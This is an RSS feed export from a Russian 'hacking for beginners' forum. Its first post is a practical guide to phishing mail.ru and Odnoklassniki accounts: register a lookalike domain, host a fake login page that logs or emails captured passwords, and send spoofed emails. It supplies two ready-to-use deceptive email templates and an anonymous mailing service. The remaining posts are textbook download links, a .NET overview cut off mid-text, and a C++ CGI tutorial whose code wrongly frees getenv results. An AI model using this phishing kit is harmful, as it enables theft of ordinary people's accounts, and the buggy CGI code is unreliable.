<?xml version="1.0" encoding="windows-1251"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<atom:link href="https://invizhack.youbb.ru/export.php?type=rss" rel="self" type="application/rss+xml" />
		<title>InvizHack - Форум для начинающего програмиста</title>
		<link>http://invizhack.youbb.ru/</link>
		<description>InvizHack - Форум для начинающего програмиста</description>
		<language>ru-ru</language>
		<lastBuildDate>Wed, 16 Jun 2010 16:13:28 +0400</lastBuildDate>
		<generator>MyBB/mybb.ru</generator>
		<item>
			<title>Взлом mail.ru и других почтовиков. Часть 2.1</title>
			<link>http://invizhack.youbb.ru/viewtopic.php?pid=9#p9</link>
			<description>&lt;p&gt;&lt;strong&gt;&amp;#160; Принцип взлома таков:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 1) Регистрируем хост и домент(holm.ru например) с именем типа web-rnail.h1.ru&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Возможно любое имя просто нужно, чтобы оно было максимально не паливным.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 2) Заливаем туда наш фейк, например в папку web-rnail.h1.ru/cgi.bin/auth&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Ставим права на файл «С» на запись, php скрипт на выполнение.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 3) Пишем письмо жертве с подделкой адреса отпрвителя и ссылкой на наш фейк.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Письмо может быть как администрации mail.ru так и например под видом админ. одноклассников&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; 4) После того как жертва пройдет по ссылке и ведет пароль, мы просто заходим и читаем их в файле «с».&lt;br /&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Файл с фейком в разделе файлов под именем «FaKe - эксплоит к мозгу юзера=)»&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Также в файле bzdlog.php в 7 строчке можно указать адрес на который высылать пароли.&lt;br /&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Примеры писем:&lt;/p&gt;
						&lt;p&gt;______________________________________________________________________________&lt;br /&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;&amp;lt;div &amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;p&amp;gt; Здравствуйте!&amp;lt;/p&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;p&amp;gt;Вам пришло новое сообщение от пользователя:&amp;lt;/p&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;p&amp;gt;Сергей Таюш&amp;lt;/p&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;p&amp;gt;Чтобы прочитать сообщение перейдите по ссылке:&amp;lt;/p&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;p&amp;gt;&lt;br /&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;p&amp;gt;&amp;lt;a target=_self href=http://web-rnail.h1.ru/cgi.bin/auth?http://mail.ru/ rhref=http://mail.ru&amp;gt;&amp;lt;font color=#0857a6&amp;gt;&amp;lt;b&amp;gt;http://www.odnoklassniki.ru/mi?l=pqqqjmpbqdgbghbhoz_ofowgupcvlarcpubdhh&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;&amp;lt;p&amp;gt;&amp;lt;br&amp;gt;Если указанная выше ссылка не открывается, скопируйте ее в буфер&lt;/p&gt;
						&lt;p&gt;обмена,&amp;lt;br&amp;gt;вставьте в адресную строку браузера и нажмите ввод.&amp;lt;/p&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;p&amp;gt;Вы получили это письмо, потому что зарегистрированы на сайте&lt;/p&gt;
						&lt;p&gt;odnoklassniki.ru&amp;lt;br&amp;gt;Вы можете настроить отправку уведомлений о новых&lt;/p&gt;
						&lt;p&gt;сообщениях&amp;lt;br&amp;gt;в разделе Моя страница &amp;amp;gt; Мои настройки.&amp;lt;/p&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;p&amp;gt;--&amp;lt;br&amp;gt;С уважением,&amp;lt;br&amp;gt;Служба поддержки Odnoklassniki.ru&amp;lt;/p&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;p&amp;gt;--------------------------------------------------------------&amp;lt;/p&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;p&amp;gt;Общайся с одноклассниками на мобильном телефоне.&amp;lt;/p&amp;gt;&lt;br /&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;&amp;lt;p&amp;gt;Зайди с телефона на wap.odnoklassniki.ru&amp;lt;/p&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
						&lt;p&gt;______________________________________________________________________________&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;div id=let_body&amp;gt;Здр­авствуйте.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
						&lt;p&gt;Ваш пр­офиль будет забл­окирован, в связи с жалобой поступившей к администрации 19.05.2010.&amp;lt;br&amp;gt;&lt;/p&gt;
						&lt;p&gt; Согласно пункту 11.3 пользовательского соглашения,&amp;amp;nbsp; оставляет за собой право временно приостановить либо прекратить предоставление услуг, своевременно уведомив об этом пользователя .&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
						&lt;p&gt;Опровергнуть заявление можно, пройдя по ссылке:&amp;lt;br&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;br&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;p&amp;gt;&amp;lt;a target=_self href=http://web-rnail.h1.ru/cgi.bin/auth?http://mail.ru/ rhref=http://mail.ru&amp;gt;&amp;lt;font color=#0857a6&amp;gt;&amp;lt;b&amp;gt;http://www.mail.ru/mi?l=pqqqjmpbqdgbghbhoz_ofowgupcvlarcpubdhh&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Если заявка не будет отклонена в течении&amp;amp;nbsp;3 дней, ваш почтовый аккуант будет заблокирован.&amp;lt;br&amp;gt;&lt;br /&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Ей присвоен номер 2008474861215660.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
						&lt;p&gt;С уважением,&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
						&lt;p&gt; &amp;lt;/div&amp;gt;&lt;/p&gt;
						&lt;p&gt;________________________________________________________________________________&lt;/p&gt;
						&lt;p&gt;Редиректы рабочие!!!&lt;/p&gt;
						&lt;p&gt;Сервис анонимной отправки писем &lt;a href=&quot;http://bogomol.net/incom/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://bogomol.net/incom/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (dfx)</author>
			<pubDate>Wed, 16 Jun 2010 16:13:28 +0400</pubDate>
			<guid>http://invizhack.youbb.ru/viewtopic.php?pid=9#p9</guid>
		</item>
		<item>
			<title>Учебник PHP</title>
			<link>http://invizhack.youbb.ru/viewtopic.php?pid=8#p8</link>
			<description>&lt;p&gt;Учебник PHP&lt;br /&gt;&lt;span style=&quot;display: block; text-align: center&quot;&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;http://boolean.org.ua/templates/boolean/images/php.png&quot; alt=&quot;http://boolean.org.ua/templates/boolean/images/php.png&quot; /&gt;&lt;/span&gt;&lt;br /&gt;Представляем вашему вниманию оффлайновую версию учебника PHP, написанного сотрудниками нашей студии Кузнецовым Максимом Валерьевичем и Симдяновым Игорем Вячеславовичем. Данный учебник является своеобразной демо-версией &amp;quot;Самоучитель PHP 5&amp;quot; издтельства BHV.&lt;/p&gt;
						&lt;p&gt;Оффлайновая версия полностью соответствует оnline версии учебника php. Но учебник еще не закончен и продолжает разрабатываться. По мере появления новых глав и разделов они будут выкладываться на этой же странице в виде обновлений.&lt;/p&gt;
						&lt;p&gt;Авторские права и ограничения использования&lt;/p&gt;
						&lt;p&gt;Авторские права на учебник PHP, представленный на нашем сайте, принадлежат Кузнецову М.В. и Симдянову И.В. Учебник PHP предназначен только для личного использования. Публикация в сети Интернет без разрешения авторов запрещена. &lt;/p&gt;
						&lt;p&gt;&lt;a href=&quot;http://u.to/lTgv&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Скачать учебник&lt;/a&gt;&lt;em class=&quot;bbuline&quot;&gt; Размер&lt;/em&gt;: 464.9 Кб&lt;/p&gt;</description>
			<author>mybb@mybb.ru (dfx)</author>
			<pubDate>Wed, 16 Jun 2010 01:22:16 +0400</pubDate>
			<guid>http://invizhack.youbb.ru/viewtopic.php?pid=8#p8</guid>
		</item>
		<item>
			<title>Учебник Java</title>
			<link>http://invizhack.youbb.ru/viewtopic.php?pid=7#p7</link>
			<description>&lt;p&gt;&lt;span style=&quot;display: block; text-align: center&quot;&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;http://1.bp.blogspot.com/_Tqs2ZJPrbJM/S8d__Tw2UJI/AAAAAAAAAYY/tzqUmnyQcMM/s1600/Java.png&quot; alt=&quot;http://1.bp.blogspot.com/_Tqs2ZJPrbJM/S8d__Tw2UJI/AAAAAAAAAYY/tzqUmnyQcMM/s1600/Java.png&quot; /&gt;&lt;/span&gt;&lt;br /&gt;&lt;strong&gt;Учебник Java&lt;/strong&gt;&lt;br /&gt;Учебник Java поможет вам быстро и качественно освоить среду разработки Java. Самоучитель подробен и охватывает различные аспекты программирования в среде Java. &lt;/p&gt;
						&lt;p&gt;&lt;em class=&quot;bbuline&quot;&gt;Размер файла&lt;/em&gt; 6,4 МБ &lt;/p&gt;
						&lt;p&gt;&lt;a href=&quot;http://u.to/xiQw&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Скачать файл&lt;/a&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (dfx)</author>
			<pubDate>Wed, 16 Jun 2010 01:19:37 +0400</pubDate>
			<guid>http://invizhack.youbb.ru/viewtopic.php?pid=7#p7</guid>
		</item>
		<item>
			<title>Написание CGI-программы на C++</title>
			<link>http://invizhack.youbb.ru/viewtopic.php?pid=5#p5</link>
			<description>&lt;p&gt;Иногда случается, что для написания движка, работающего с Web, интерпретируемые языки типа PHP/Perl/ASP не подходят. Это бывает когда, например, требуется высокопроизводительная CMS или что-то низкоуровневое (например, сбор данных с веб-камеры). Конечно, существуют такие языки как C#, но иногда для небольших проектов их применение не окупит затраты.&lt;/p&gt;
						&lt;p&gt;Поэтому первое, что следует знать для написания таких программ – как в общих чертах устроен интерфейс CGI. О самом интерфейсе вы можете прочесть из Википедии, я же просто приведу пример реализации простейшей cgi-программы типа PE/ELF.&lt;/p&gt;&lt;div class=&quot;code-box&quot;&gt;&lt;strong class=&quot;legend&quot;&gt;Код:&lt;/strong&gt;&lt;div class=&quot;blockcode&quot;&gt;&lt;div class=&quot;scrollbox&quot; style=&quot;height: 35em&quot;&gt;&lt;pre&gt;#include
#include
#include // без расширения, подключает класс std::string
#include // strlen, strcat, strncpy, ...

using std::string;
using std::cout;
using std::cin;
using std::endl;

int main(int argc, char *argv[])
{
string POST_data;
string QUERY_STRING;
cout &amp;lt;&amp;lt; &amp;quot;content-type: text/plain; charset=windows-1251&amp;quot; &amp;lt;&amp;lt; endl &amp;lt;&amp;lt; endl;
char* var = 0;
var = getenv(&amp;quot;CONTENT_LENGTH&amp;quot;);
if ((var != 0) &amp;amp;&amp;amp; (var) != &amp;quot;0&amp;quot;)
{
int post_length = atoi(var);
free(var); var = 0;
cout &amp;lt;&amp;lt; &amp;quot;POST data: n&amp;quot;;
var = (char*)malloc(post_length+1);
cin.get(var, post_length+1);
cout &amp;lt;&amp;lt; var;
free(var);
}
var = getenv(&amp;quot;QUERY_STRING&amp;quot;);
if (var)
{
QUERY_STRING = var;
free(var); var = 0;
cout &amp;lt;&amp;lt; endl &amp;lt;&amp;lt; &amp;quot;QUERY_STRING: &amp;quot; &amp;lt;&amp;lt; QUERY_STRING &amp;lt;&amp;lt; endl;
}
return EXIT_SUCCESS;
}&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Как видите, для упрощения работы со строками используется класс string из библиотеки std.&lt;/p&gt;
						&lt;p&gt;Первым делом cgi-программа должна отправить заголовки. В нашем случае здесь все просто: content-type задает тип передаваемой информации (в данном случае, обычный текст), после чего идут два символа новой строки. Если не передать заголовок, сервер выдаст ошибку &#039;Internal Server Error&#039;. Как вы уже поняли, отправлять все данные нужно в стандартное устройство вывода (да, кстати, приложение должно быть консольным).&lt;/p&gt;
						&lt;p&gt;Далее, необходимо научиться считывать полученные от сервера данные и переменные окружения. Значение конкретной переменной окружения можно получить используя функцию getenv(const char* имя_переменной). Эта функция вернет 0, если переменной не существует.&lt;/p&gt;
						&lt;p&gt;Чтобы узнать, какие переменные сервер передал скрипту, можно использовать следующую конструкцию:&lt;/p&gt;
						&lt;p&gt;extern char** environ; // Глобальная переменная, объявляется в начале модуля&lt;/p&gt;
						&lt;p&gt;for (int i=0; environ[i] != 0; i++)&lt;br /&gt;printf(“%sn”, environ[i]);&lt;/p&gt;
						&lt;p&gt;Внешняя переменная environ стандартизирована POSIX и доступна на большинстве платформ и операционных систем (совместимых с POSIX).&lt;/p&gt;
						&lt;p&gt;Те параметры, которые передаются через URI, могут быть найдены в переменной QUERY_STRING.&lt;/p&gt;
						&lt;p&gt;С методом POST дело обстоит несколько сложнее. Сначала мы должны узнать длину данных. Она хранится в переменной CONTENT_LENGTH в виде строки с числом. К счастью, в библиотеке С/C++ есть функция atoi, которая умеет переводить строку в число.&lt;/p&gt;
						&lt;p&gt;После того, как длина данных известна, мы просто считываем содержимое стандартного устройства ввода (им будет не клавиатура, а канал между web-сервером и cgi-программой)&lt;/p&gt;
						&lt;p&gt;Данные, хранящиеся в QUERY_STRING и в потоке стандартного ввода зашифрованы так называемым urlencode. Поэтому следующим шагом станет дешифровка и разбор всех параметров, чем наша небольшая программа заниматься не станет.&lt;/p&gt;
						&lt;p&gt;Так как мы написали CGI-программу, то для её тестирования вам понадобится Web-сервер. Можете использовать свой, а можно и на хостинге (если, конечно, он позволяет выполнение программ, а не только скриптов). Для тестирования необходимо скопировать программу в папку cgi-bin на сервере или любую другую, допускающую выполнение сценариев. И придется написать небольшую html-страницу, чтобы было удобнее посылать POST-запросы:&lt;/p&gt;&lt;div class=&quot;code-box&quot;&gt;&lt;strong class=&quot;legend&quot;&gt;Код:&lt;/strong&gt;&lt;div class=&quot;blockcode&quot;&gt;&lt;div class=&quot;scrollbox&quot; style=&quot;height: 22.5em&quot;&gt;&lt;pre&gt;&amp;lt;*html&amp;gt;
&amp;lt;*head&amp;gt;
&amp;lt;*meta http-equiv=&amp;quot;content-type&amp;quot; content=&amp;quot;text/html; charset=windows-1251&amp;quot;&amp;gt;
&amp;lt;*title&amp;gt;Test Page
&amp;lt;*/head&amp;gt;
&amp;lt;*body&amp;gt;
&amp;lt;*form method=&amp;quot;post&amp;quot; action=&amp;quot;cgi-bin/cgi.exe?id=1&amp;quot; name=&amp;quot;myform&amp;quot;&amp;gt;
&amp;lt;*p&amp;gt;Entry text:&amp;lt;*/p&amp;gt;
&amp;lt;*input type=&amp;quot;text&amp;quot; name=&amp;quot;mytext&amp;quot; value=&amp;quot;&amp;quot;&amp;gt;
&amp;lt;*input type=&amp;quot;submit&amp;quot;&amp;gt;
&amp;lt;*/form&amp;gt;
&amp;lt;*/body&amp;gt;
&amp;lt;*/html&amp;gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Измените путь к cgi-программе и запустите страницу на сервере через браузер (не локально сохраненный html, а именно на сервере).&lt;/p&gt;
						&lt;p&gt;Собственно, основной цикл любого cgi-приложения включает в себя три стадии: разбор принятых данных, подготовка контента, вывод контента. Причем вывод не обязательно должен быть текстовым; именно для этого и предусмотрен заголовок типа документа. Вы можете, например, отправить сформированный Flash-документ, изображение, файл или любой другой тип, имеющий MIME.&lt;/p&gt;
						&lt;p&gt;Цель этой статьи достигнута – вы теперь знаете, как получить данные от сервера (а может быть знали и до этого :))&lt;/p&gt;</description>
			<author>mybb@mybb.ru (dfx)</author>
			<pubDate>Wed, 16 Jun 2010 01:12:43 +0400</pubDate>
			<guid>http://invizhack.youbb.ru/viewtopic.php?pid=5#p5</guid>
		</item>
		<item>
			<title>.NET Framework</title>
			<link>http://invizhack.youbb.ru/viewtopic.php?pid=4#p4</link>
			<description>&lt;p&gt;[c]&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;http://upload.wikimedia.org/wikipedia/ru/thumb/9/9e/NET_h_rgb_2.png/200px-NET_h_rgb_2.png&quot; alt=&quot;http://upload.wikimedia.org/wikipedia/ru/thumb/9/9e/NET_h_rgb_2.png/200px-NET_h_rgb_2.png&quot; /&gt;[/c]&lt;br /&gt;Одной из основных идей Microsoft .NET является совместимость различных служб, написанных на разных языках. Например, служба, написанная на C++ для Microsoft .NET, может обратиться к методу класса из библиотеки, написанной на Delphi; на C# можно написать класс, наследованный от класса, написанного на Visual Basic .NET, а исключение, созданное методом, написанным на C#, может быть перехвачено и обработано в Delphi. Каждая библиотека (сборка) в .NET имеет сведения о своей версии, что позволяет устранить возможные конфликты между разными версиями сборок.&lt;br /&gt;.NET является патентованной технологией корпорации Microsoft. Тем не менее, после заключения договоренности с компанией Novell[1], технология Mono была признана как реализация .NET на Unix-подобных системах (GNU/Linux, Mac OS X). Однако договорённость касается Novell и клиентов Novell, также технологии ASP.NET, ADO.NET и Windows.Forms не были стандартизированы ECMA/ISO и использование их в Mono находится под угрозой претензий со стороны Microsoft (претензии возможны только в странах, где существуют патенты на программное обеспечение[2]). Mono предоставляет реализацию ASP.NET, ADO.NET и Windows.Forms, но в то же время рекомендует обходить эти API.[2]&lt;br /&gt;Среды разработки .NET-приложений:&lt;br /&gt;&lt;strong&gt;Microsoft Visual Studio (C#, Visual Basic .NET, Managed C++),&lt;br /&gt;SharpDevelop,&lt;br /&gt;MonoDevelop,&lt;br /&gt;Eclipse,&lt;br /&gt;Borland Developer Studio (Delphi for .NET, C#),&lt;br /&gt;PascalABC.NET и др.&lt;/strong&gt;&lt;br /&gt;Подобно технологии Java, среда разработки .NET создаёт байт-код, предназначенный для исполнения виртуальной машиной. Входной язык этой машины в .NET называется MSIL (Microsoft Intermediate Language), или CIL (Common Intermediate Language, более поздний вариант), или просто IL. Применение байт-кода позволяет получить кроссплатформенность на уровне скомпилированного проекта (в терминах .NET: сборка), а не только на уровне исходного текста, как, например, в С. Перед запуском сборки в среде исполнения CLR байт-код преобразуется встроенным в среду JIT-компилятором (just in time, компиляция на лету) в машинные коды целевого процессора. Также существует возможность скомпилировать сборку в родной (native) код для выбранной платформы с помощью поставляемой вместе с .NET Framework утилиты NGen.exe.&lt;br /&gt;Следует отметить, что один из первых JIT-компиляторов для Java был также разработан фирмой Microsoft. Современная технология динамической компиляции позволяет достигнуть уровня быстродействия, аналогичного традиционным «статическим» компиляторам (например, C++), и вопрос быстродействия зачастую зависит от качества того или иного компилятора.&lt;br /&gt;&lt;strong&gt;Версии&lt;/strong&gt;&lt;br /&gt;Microsoft начала разрабатывать .NET Framework в конце 1990-х под именем Next Generation Windows Services (NGWS). Позже в 2000 году была выпущена первая бета версия .NET 1.0&lt;br /&gt;1.0	1.0.3705.0	2002-01-05	Visual Studio .NET&lt;br /&gt;1.1	1.1.4322.573	2003-04-01	Visual Studio .NET 2003	Windows Server 2003&lt;br /&gt;2.0	2.0.50727.42	2005-11-07	Visual Studio 2005&lt;br /&gt;3.0	3.0.4506.30	2006-11-06	Visual Studio 2005 + расширения	Windows Vista, Windows Server 2008&lt;br /&gt;3.5	3.5.21022.8	2007-11-09	Visual Studio 2008	Windows 7, Windows Server 2008 R2&lt;br /&gt;4.0	4.0.30319.1	2010-04-12	Visual Studio 2010&lt;br /&gt;&lt;span style=&quot;color: blue&quot;&gt;.NET Framework 1.0&lt;br /&gt;Первый релиз .NET Framework вышел 5 января 2002 года для Windows 98, NT 4.0, 2000 и XP. Общая поддержка, осуществляемая компанией Майкрософт, закончилась 10 июля 2007 года, а расширенная поддержка окончилась 14 июля 2009 года.&lt;br /&gt;.NET Framework 1.1&lt;br /&gt;Следующий релиз .NET Framework вышел 1 апреля 2003 года. Он стал первой версией, устанавливающейся в процессе инсталляции операционной системы, и распространялся с Windows Server 2003. Для предыдущих операционных систем .NET Framework 1.1 был доступен в виде отдельной инсталляции. Общая поддержка, осуществляемая компанией Майкрософт, закончилась 14 октября 2008 года, а расширенная поддержка окончится 8 октября 2013 года.&lt;br /&gt;.NET Framework 2.0&lt;br /&gt;Была выпущена одновременно с Visual Studio 2005, MS SQL Server 2005 и BizTalk 2006. С выходом версии 2.0 была добавлена поддержка обобщенных классов (англ. generic), анонимных методов, полная поддержка 64-битных платформ x64 и IA64.&lt;br /&gt;.NET Framework 3.0&lt;br /&gt;Первоначально, .NET Framework 3.0 носил имя WinFX, что отражало его суть: расширение .NET Framework 2.0, с сохранением всех библиотек и добавлением четырёх новых компонентов:&lt;br /&gt;&lt;strong&gt;Windows Presentation Foundation (WPF) — графическая (презентационная) подсистема в составе .NET Framework 3.0, имеющая прямое отношение к XAML.&lt;br /&gt;Windows Communication Foundation (WCF)&lt;br /&gt;Windows Workflow Foundation (WF)&lt;br /&gt;Windows CardSpace&lt;/strong&gt;&lt;br /&gt;.NET Framework 3.5&lt;br /&gt;Как и .NET Framework 3.0, .NET 3.5 использует CLR версии 2.0.&lt;br /&gt;Новшества по сравнению с .NET Framework 3.0 включают в себя:&lt;br /&gt;Новые возможности в C# 3.0 и VB.NET 9.0&lt;br /&gt;Добавлен язык LINQ и провайдеры LINQ to Objects, LINQ to XML и LINQ to SQL&lt;br /&gt;ASP.NET AJAX включён в поставку&lt;br /&gt;Расширена функциональность WF и WCF&lt;br /&gt;Пространство имён System.CodeDom&lt;br /&gt;.NET Framework 4.0&lt;br /&gt;Microsoft анонсировала релиз четвёртой версии среды .NET 29 сентября 2008 года.[4] Beta 1 новой версии появилась 20 мая 2009 года, вместе с бета-версией Visual Studio 2010.[5] Некоторые нововведения:&lt;br /&gt;Parallel Extensions — PLINQ (Parallel LINQ) и Task Parallel Library, предназначенные для упрощения программирования для многопроцессорных и распределённых систем.&lt;br /&gt;Изменения в Visual Basic и C#&lt;br /&gt;Полная поддержка IronPython, IronRuby и F#&lt;br /&gt;Поддержка подмножества .NET Framework и ASP.NET в варианте «Server Core»&lt;br /&gt;Поддержка Code Contracts&lt;br /&gt;Средства моделирования Oslo и язык программирования M, предназначенный для создания предметно-ориентированных языков и моделей&lt;br /&gt;Финальная версия .NET Framework 4.0 была выпущена 12 апреля 2010 г. вместе с финальным релизом Visual Studio 2010.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Virus)</author>
			<pubDate>Wed, 16 Jun 2010 01:11:08 +0400</pubDate>
			<guid>http://invizhack.youbb.ru/viewtopic.php?pid=4#p4</guid>
		</item>
		<item>
			<title>.NET Framework</title>
			<link>http://invizhack.youbb.ru/viewtopic.php?pid=3#p3</link>
			<description>&lt;p&gt;&lt;span style=&quot;display: block; text-align: center&quot;&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;http://upload.wikimedia.org/wikipedia/ru/thumb/9/9e/NET_h_rgb_2.png/200px-NET_h_rgb_2.png&quot; alt=&quot;http://upload.wikimedia.org/wikipedia/ru/thumb/9/9e/NET_h_rgb_2.png/200px-NET_h_rgb_2.png&quot; /&gt;&lt;/span&gt;&lt;br /&gt;Одной из основных идей Microsoft .NET является совместимость различных служб, написанных на разных языках. Например, служба, написанная на C++ для Microsoft .NET, может обратиться к методу класса из библиотеки, написанной на Delphi; на C# можно написать класс, наследованный от класса, написанного на Visual Basic .NET, а исключение, созданное методом, написанным на C#, может быть перехвачено и обработано в Delphi. Каждая библиотека (сборка) в .NET имеет сведения о своей версии, что позволяет устранить возможные конфликты между разными версиями сборок.&lt;br /&gt;.NET является патентованной технологией корпорации Microsoft. Тем не менее, после заключения договоренности с компанией Novell[1], технология Mono была признана как реализация .NET на Unix-подобных системах (GNU/Linux, Mac OS X). Однако договорённость касается Novell и клиентов Novell, также технологии ASP.NET, ADO.NET и Windows.Forms не были стандартизированы ECMA/ISO и использование их в Mono находится под угрозой претензий со стороны Microsoft (претензии возможны только в странах, где существуют патенты на программное обеспечение[2]). Mono предоставляет реализацию ASP.NET, ADO.NET и Windows.Forms, но в то же время рекомендует обходить эти API.[2]&lt;br /&gt;Среды разработки .NET-приложений:&lt;br /&gt;Microsoft Visual Studio (C#, Visual Basic .NET, Managed C++),&lt;br /&gt;SharpDevelop,&lt;br /&gt;MonoDevelop,&lt;br /&gt;Eclipse,&lt;br /&gt;Borland Developer Studio (Delphi for .NET, C#),&lt;br /&gt;PascalABC.NET и др.&lt;br /&gt;Подобно технологии Java, среда разработки .NET создаёт байт-код, предназначенный для исполнения виртуальной машиной. Входной язык этой машины в .NET называется MSIL (Microsoft Intermediate Language), или CIL (Common Intermediate Language, более поздний вариант), или просто IL. Применение байт-кода позволяет получить кроссплатформенность на уровне скомпилированного проекта (в терминах .NET: сборка), а не только на уровне исходного текста, как, например, в С. Перед запуском сборки в среде исполнения CLR байт-код преобразуется встроенным в среду JIT-компилятором (just in time, компиляция на лету) в машинные коды целевого процессора. Также существует возможность скомпилировать сборку в родной (native) код для выбранной платформы с помощью поставляемой вместе с .NET Framework утилиты NGen.exe.&lt;br /&gt;Следует отметить, что один из первых JIT-компиляторов для Java был также разработан фирмой Microsoft. Современная технология динамической компиляции позволяет достигнуть уровня быстродействия, аналогичного традиционным «статическим» компиляторам (например, C++), и вопрос быстродействия зачастую зависит от качества того или иного компилятора.&lt;br /&gt;Версии&lt;br /&gt;Microsoft начала разрабатывать .NET Framework в конце 1990-х под именем Next Generation Windows Services (NGWS). Позже в 2000 году была выпущена первая бета версия .NET 1.0&lt;br /&gt;1.0 1.0.3705.0 2002-01-05 Visual Studio .NET&lt;br /&gt;1.1 1.1.4322.573 2003-04-01 Visual Studio .NET 2003 Windows Server 2003&lt;br /&gt;2.0 2.0.50727.42 2005-11-07 Visual Studio 2005&lt;br /&gt;3.0 3.0.4506.30 2006-11-06 Visual Studio 2005 + расширения Windows Vista, Windows Server 2008&lt;br /&gt;3.5 3.5.21022.8 2007-11-09 Visual Studio 2008 Windows 7, Windows Server 2008 R2&lt;br /&gt;4.0 4.0.30319.1 2010-04-12 Visual Studio 2010&lt;br /&gt;.NET Framework 1.0&lt;br /&gt;Первый релиз .NET Framework вышел 5 января 2002 года для Windows 98, NT 4.0, 2000 и XP. Общая поддержка, осуществляемая компанией Майкрософт, закончилась 10 июля 2007 года, а расширенная поддержка окончилась 14 июля 2009 года.&lt;br /&gt;.NET Framework 1.1&lt;br /&gt;Следующий релиз .NET Framework вышел 1 апреля 2003 года. Он стал первой версией, устанавливающейся в процессе инсталляции операционной системы, и распространялся с Windows Server 2003. Для предыдущих операционных систем .NET Framework 1.1 был доступен в виде отдельной инсталляции. Общая поддержка, осуществляемая компанией Майкрософт, закончилась 14 октября 2008 года, а расширенная поддержка окончится 8 октября 2013 года.&lt;br /&gt;.NET Framework 2.0&lt;br /&gt;Была выпущена одновременно с Visual Studio 2005, MS SQL Server 2005 и BizTalk 2006. С выходом версии 2.0 была добавлена поддержка обобщенных классов (англ. generic), анонимных методов, полная поддержка 64-битных платформ x64 и IA64.&lt;br /&gt;.NET Framework 3.0&lt;br /&gt;Первоначально, .NET Framework 3.0 носил имя WinFX, что отражало его суть: расширение .NET Framework 2.0, с сохранением всех библиотек и добавлением четырёх новых компонентов:&lt;br /&gt;Windows Presentation Foundation (WPF) — графическая (презентационная) подсистема в составе .NET Framework 3.0, имеющая прямое отношение к XAML.&lt;br /&gt;Windows Communication Foundation (WCF)&lt;br /&gt;Windows Workflow Foundation (WF)&lt;br /&gt;Windows CardSpace&lt;br /&gt;.NET Framework 3.5&lt;br /&gt;Как и .NET Framework 3.0, .NET 3.5 использует CLR версии 2.0.&lt;br /&gt;Новшества по сравнению с .NET Framework 3.0 включают в себя:&lt;br /&gt;Новые возможности в C# 3.0 и VB.NET 9.0&lt;br /&gt;Добавлен язык LINQ и провайдеры LINQ to Objects, LINQ to XML и LINQ to SQL&lt;br /&gt;ASP.NET AJAX включён в поставку&lt;br /&gt;Расширена функциональность WF и WCF&lt;br /&gt;Пространство имён System.CodeDom&lt;br /&gt;.NET Framework 4.0&lt;br /&gt;Microsoft анонсировала релиз четвёртой версии среды .NET 29 сентября 2008 года.[4] Beta 1 новой версии появилась 20 мая 2009 года, вместе с бета-версией Visual Studio 2010.[5] Некоторые нововведения:&lt;br /&gt;Parallel Extensions — PLINQ (Parallel 